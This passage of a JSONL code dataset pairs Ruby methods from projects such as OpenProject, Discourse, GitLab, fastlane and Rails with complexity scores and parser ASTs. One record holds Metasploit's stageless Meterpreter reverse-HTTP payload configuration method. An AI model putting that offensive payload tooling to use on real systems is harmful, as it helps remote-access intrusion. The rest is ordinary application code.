"children\":[\"value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"sources\"]}]}]}]}]}]}]}]}","id":"1a0d00ed-f169-4288-8c8f-ac70d9629255"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/aggregations.rb","start_line":44,"raw_source":"def unknown_statuses\n      @instance_cache[:unknown_statuses] ||= all_statuses - Status.all.map(&:name)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unknown_statuses\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance_cache\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unknown_statuses\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_statuses\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"all\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}","id":"b0617e61-67e6-44d6-aec3-faa398bca326"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/windows/meterpreter_reverse_http.rb","start_line":46,"raw_source":"def generate_config(opts = {})\n    opts[:uuid] ||= generate_payload_uuid\n\n    # create the configuration block\n    config_opts = {\n      arch: opts[:uuid].arch,\n      exitfunk: datastore['EXITFUNC'],\n      expiration: datastore['SessionExpirationTimeout'].to_i,\n      uuid: opts[:uuid],\n      transports: [transport_config_reverse_http(opts)],\n      extensions: (datastore['EXTENSIONS'] || '').split(','),\n      ext_init: datastore['EXTINIT'] || '',\n      stageless: true\n    }.merge(meterpreter_logging_config(opts))\n\n    # create the configuration instance based off the parameters\n    config = Rex::Payloads::Meterpreter::Config.new(config_opts)\n\n    # return the binary version of it\n    config.to_b\n  end","complexity_score":29.8,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_config\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uuid\"]}]},{\"type\":\"send\",\"children\":[null,\"generate_payload_uuid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"config_opts\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uuid\"]}]},\"arch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exitfunk\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXITFUNC\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expiration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SessionExpirationTimeout\"]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uuid\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"transports\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transport_config_reverse_http\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extensions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXTENSIONS\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ext_init\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXTINIT\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stageless\"]},{\"type\":\"true\",\"children\":[]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"meterpreter_logging_config\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Payloads\"]},\"Meterpreter\"]},\"Config\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"config_opts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"to_b\"]}]}]}","id":"0e2edfb7-4738-4b89-a5a4-9a1a4776b7f6"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/setup/setup_ios.rb","start_line":457,"raw_source":"def create_app_online!(mode: nil)\n      # mode is either :adp or :itc\n      require 'produce'\n      produce_options = {\n        username: self.user,\n        team_id: self.adp_team_id,\n        itc_team_id: self.itc_team_id,\n        platform: \"ios\",\n        app_identifier: self.app_identifier\n      }\n      if mode == :adp\n        produce_options[:skip_itc] = true\n      else\n        produce_options[:skip_devcenter] = true\n      end\n\n      # The retrying system allows people to correct invalid inputs\n      # e.g. the app's name is already taken\n      loop do\n        # Creating config in the loop so user will be reprompted\n        # for app name if app name is taken or too long\n        Produce.config = FastlaneCore::Configuration.create(\n          Produce::Options.available_options,\n          produce_options\n        )\n\n        begin\n          Produce::Manager.start_producing\n          UI.success(\"✅  Successfully created app\")\n          return # success\n        rescue => ex\n          # show the user facing error, and inform them of what went wrong\n          if ex.kind_of?(Spaceship::Client::BasicPreferredInfoError) || ex.kind_of?(Spaceship::Client::UnexpectedResponse)\n            UI.error(ex.preferred_error_info)\n          else\n            UI.error(ex.to_s)\n          end\n          UI.error(ex.backtrace.join(\"\\n\")) if FastlaneCore::Globals.verbose?\n          UI.important(\"It looks like something went wrong when we tried to create your app on the Apple Developer Portal\")\n          unless UI.confirm(\"Would you like to try again (y)? If you enter (n), fastlane will fall back to the manual setup\")\n            raise ex\n          end\n        end\n      end\n    end","complexity_score":45.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_app_online!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"mode\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"produce\"]}]},{\"type\":\"lvasgn\",\"children\":[\"produce_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"team_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"adp_team_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"itc_team_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"itc_team_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"str\",\"children\":[\"ios\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"app_identifier\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mode\"]},\"==\",{\"type\":\"sym\",\"children\":[\"adp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"produce_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"skip_itc\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"produce_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"skip_devcenter\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Produce\"]},\"config=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Configuration\"]},\"create\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Produce\"]},\"Options\"]},\"available_options\"]},{\"type\":\"lvar\",\"children\":[\"produce_options\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Produce\"]},\"Manager\"]},\"start_producing\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"✅  Successfully created app\"]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Client\"]},\"BasicPreferredInfoError\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Client\"]},\"UnexpectedResponse\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"preferred_error_info\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Globals\"]},\"verbose?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"It looks like something went wrong when we tried to create your app on the Apple Developer Portal\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"confirm\",{\"type\":\"str\",\"children\":[\"Would you like to try again (y)? If you enter (n), fastlane will fall back to the manual setup\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]}]}]},null]}]}]}]}]}]}","id":"d32d41f4-330b-491c-9a0f-c8f4e4dd63a8"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/plugin/instance.rb","start_line":25,"raw_source":"def self.register(name, url, group = Emoji::DEFAULT_GROUP)\n    @@cache_key = Digest::SHA1.hexdigest(cache_key + name + group)[0..10]\n    new_group = emojis[group] || {}\n    new_group[name] = url\n    emojis[group] = new_group\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"register\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"optarg\",\"children\":[\"group\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Emoji\"]},\"DEFAULT_GROUP\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"cvasgn\",\"children\":[\"@@cache_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_key\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_group\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"emojis\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_group\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"emojis\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"lvar\",\"children\":[\"new_group\"]}]}]}]}","id":"b9720c67-a88a-4923-a04b-121fc23620a9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/services/storages/nextcloud_managed_folder_permissions_service_spec.rb","start_line":241,"raw_source":"def translate_mask_to_permissions(number)\n      Adapters::Providers::Nextcloud::Commands::SetPermissionsCommand::PERMISSIONS_MAP\n        .each_with_object([]) { |(permission, mask), list| list << permission if number & mask == mask }\n    end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"translate_mask_to_permissions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Adapters\"]},\"Providers\"]},\"Nextcloud\"]},\"Commands\"]},\"SetPermissionsCommand\"]},\"PERMISSIONS_MAP\"]},\"each_with_object\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"permission\"]},{\"type\":\"arg\",\"children\":[\"mask\"]}]},{\"type\":\"arg\",\"children\":[\"list\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"&\",{\"type\":\"lvar\",\"children\":[\"mask\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"mask\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"permission\"]}]},null]}]}]}","id":"aab0e9a0-32e7-43c9-a036-eff6dd40c0a9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/spam_rule/auto_silence.rb","start_line":29,"raw_source":"def user_spam_stats\n    return @user_spam_stats if @user_spam_stats\n\n    params = {\n      user_id: @user.id,\n      spam_type: PostActionType.types[:spam],\n      pending: ReviewableScore.statuses[:pending],\n      agreed: ReviewableScore.statuses[:agreed],\n    }\n\n    result = DB.query(<<~SQL, params)\n      SELECT COALESCE(SUM(rs.score), 0) AS total_spam_score,\n        COUNT(DISTINCT rs.user_id) AS spam_user_count\n      FROM reviewables AS r\n      INNER JOIN reviewable_scores AS rs ON rs.reviewable_id = r.id\n      WHERE r.target_created_by_id = :user_id\n        AND rs.reviewable_score_type = :spam_type\n        AND rs.status IN (:pending, :agreed)\n    SQL\n\n    @user_spam_stats = result[0]\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"user_spam_stats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user_spam_stats\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user_spam_stats\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"spam_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostActionType\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"spam\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pending\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReviewableScore\"]},\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pending\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"agreed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReviewableScore\"]},\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"agreed\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT COALESCE(SUM(rs.score), 0) AS total_spam_score,\\n\"]},{\"type\":\"str\",\"children\":[\"  COUNT(DISTINCT rs.user_id) AS spam_user_count\\n\"]},{\"type\":\"str\",\"children\":[\"FROM reviewables AS r\\n\"]},{\"type\":\"str\",\"children\":[\"INNER JOIN reviewable_scores AS rs ON rs.reviewable_id = r.id\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE r.target_created_by_id = :user_id\\n\"]},{\"type\":\"str\",\"children\":[\"  AND rs.reviewable_score_type = :spam_type\\n\"]},{\"type\":\"str\",\"children\":[\"  AND rs.status IN (:pending, :agreed)\\n\"]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user_spam_stats\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"c2caa0f7-8b7a-48e8-b88e-40fb916d73b0"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/projects/show.rb","start_line":115,"raw_source":"def within_life_cycle_container(life_cycle, &)\n        within(\"[data-test-selector='project-life-cycle-#{life_cycle.id}']\", &)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"within_life_cycle_container\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"life_cycle\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[data-test-selector='project-life-cycle-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"life_cycle\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"f5c59b6d-f3c5-4eed-bb37-130c5f7aabce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/group_descendants_finder.rb","start_line":123,"raw_source":"def descendant_projects\n    projects_nested_in_group = Project.in_namespace(parent_group.self_and_descendants.as_ids)\n\n    finder_params = params.dup\n    finder_params[:search] = params[:filter] if params[:filter]\n\n    ProjectsFinder.new( # rubocop:disable CodeReuse/Finder\n      params: finder_params,\n      current_user: current_user,\n      project_ids_relation: projects_nested_in_group\n    ).execute\n  end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"descendant_projects\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"projects_nested_in_group\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"in_namespace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_group\"]},\"self_and_descendants\"]},\"as_ids\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"finder_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finder_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filter\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectsFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"finder_params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_ids_relation\"]},{\"type\":\"lvar\",\"children\":[\"projects_nested_in_group\"]}]}]}]},\"execute\"]}]}]}","id":"b91bcbbd-1067-4221-9204-003f31354837"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/subscribers/external_http.rb","start_line":45,"raw_source":"def self.payload\n          {\n            COUNTER => request_count,\n            DURATION => duration,\n            SLOW_REQUESTS => top_slowest_requests\n          }.compact\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COUNTER\"]},{\"type\":\"send\",\"children\":[null,\"request_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DURATION\"]},{\"type\":\"send\",\"children\":[null,\"duration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SLOW_REQUESTS\"]},{\"type\":\"send\",\"children\":[null,\"top_slowest_requests\"]}]}]},\"compact\"]}]}","id":"487f0ca4-f8ce-4222-9b66-59382b3febbb"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/session/abstract_secure_store_test.rb","start_line":13,"raw_source":"def initialize(session_id, cookie_value)\n            super(session_id)\n            @cookie_value = cookie_value\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session_id\"]},{\"type\":\"arg\",\"children\":[\"cookie_value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@cookie_value\",{\"type\":\"lvar\",\"children\":[\"cookie_value\"]}]}]}]}","id":"f2701d28-7c74-476b-9dc2-5a9870ae874f"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/admin/ai_llms_controller.rb","start_line":283,"raw_source":"def log_llm_model_update(llm_model, initial_attributes, initial_quotas)\n        logger = DiscourseAi::Utils::AiStaffActionLogger.new(current_user)\n        entity_details = { model_id: llm_model.id, subject: llm_model.display_name }\n\n        # Track quota changes separately as they're a special case\n        current_quotas = llm_model.llm_quotas.reload.map(&:attributes)\n        if initial_quotas != current_quotas\n          initial_quota_summary =\n            initial_quotas\n              .map { |q| \"Group #{q[\"group_id\"]}: #{q[\"max_tokens\"]} tokens\" }\n              .join(\"; \")\n          current_quota_summary =\n            current_quotas\n              .map { |q| \"Group #{q[\"group_id\"]}: #{q[\"max_tokens\"]} tokens\" }\n              .join(\"; \")\n          entity_details[:quotas_changed] = true\n          entity_details[:quotas] = \"#{initial_quota_summary} → #{current_quota_summary}\"\n        end\n\n        logger.log_update(\n          \"llm_model\",\n          llm_model,\n          initial_attributes,\n          ai_llm_logger_fields,\n          entity_details,\n        )\n      end","complexity_score":35.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_llm_model_update\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"llm_model\"]},{\"type\":\"arg\",\"children\":[\"initial_attributes\"]},{\"type\":\"arg\",\"children\":[\"initial_quotas\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Utils\"]},\"AiStaffActionLogger\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"entity_details\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"llm_model\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"llm_model\"]},\"display_name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current_quotas\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"llm_model\"]},\"llm_quotas\"]},\"reload\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initial_quotas\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"current_quotas\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"initial_quota_summary\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"initial_quotas\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"q\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Group \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"[]\",{\"type\":\"str\",\"children\":[\"group_id\"]}]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"[]\",{\"type\":\"str\",\"children\":[\"max_tokens\"]}]}]},{\"type\":\"str\",\"children\":[\" tokens\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"; \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current_quota_summary\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_quotas\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"q\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Group 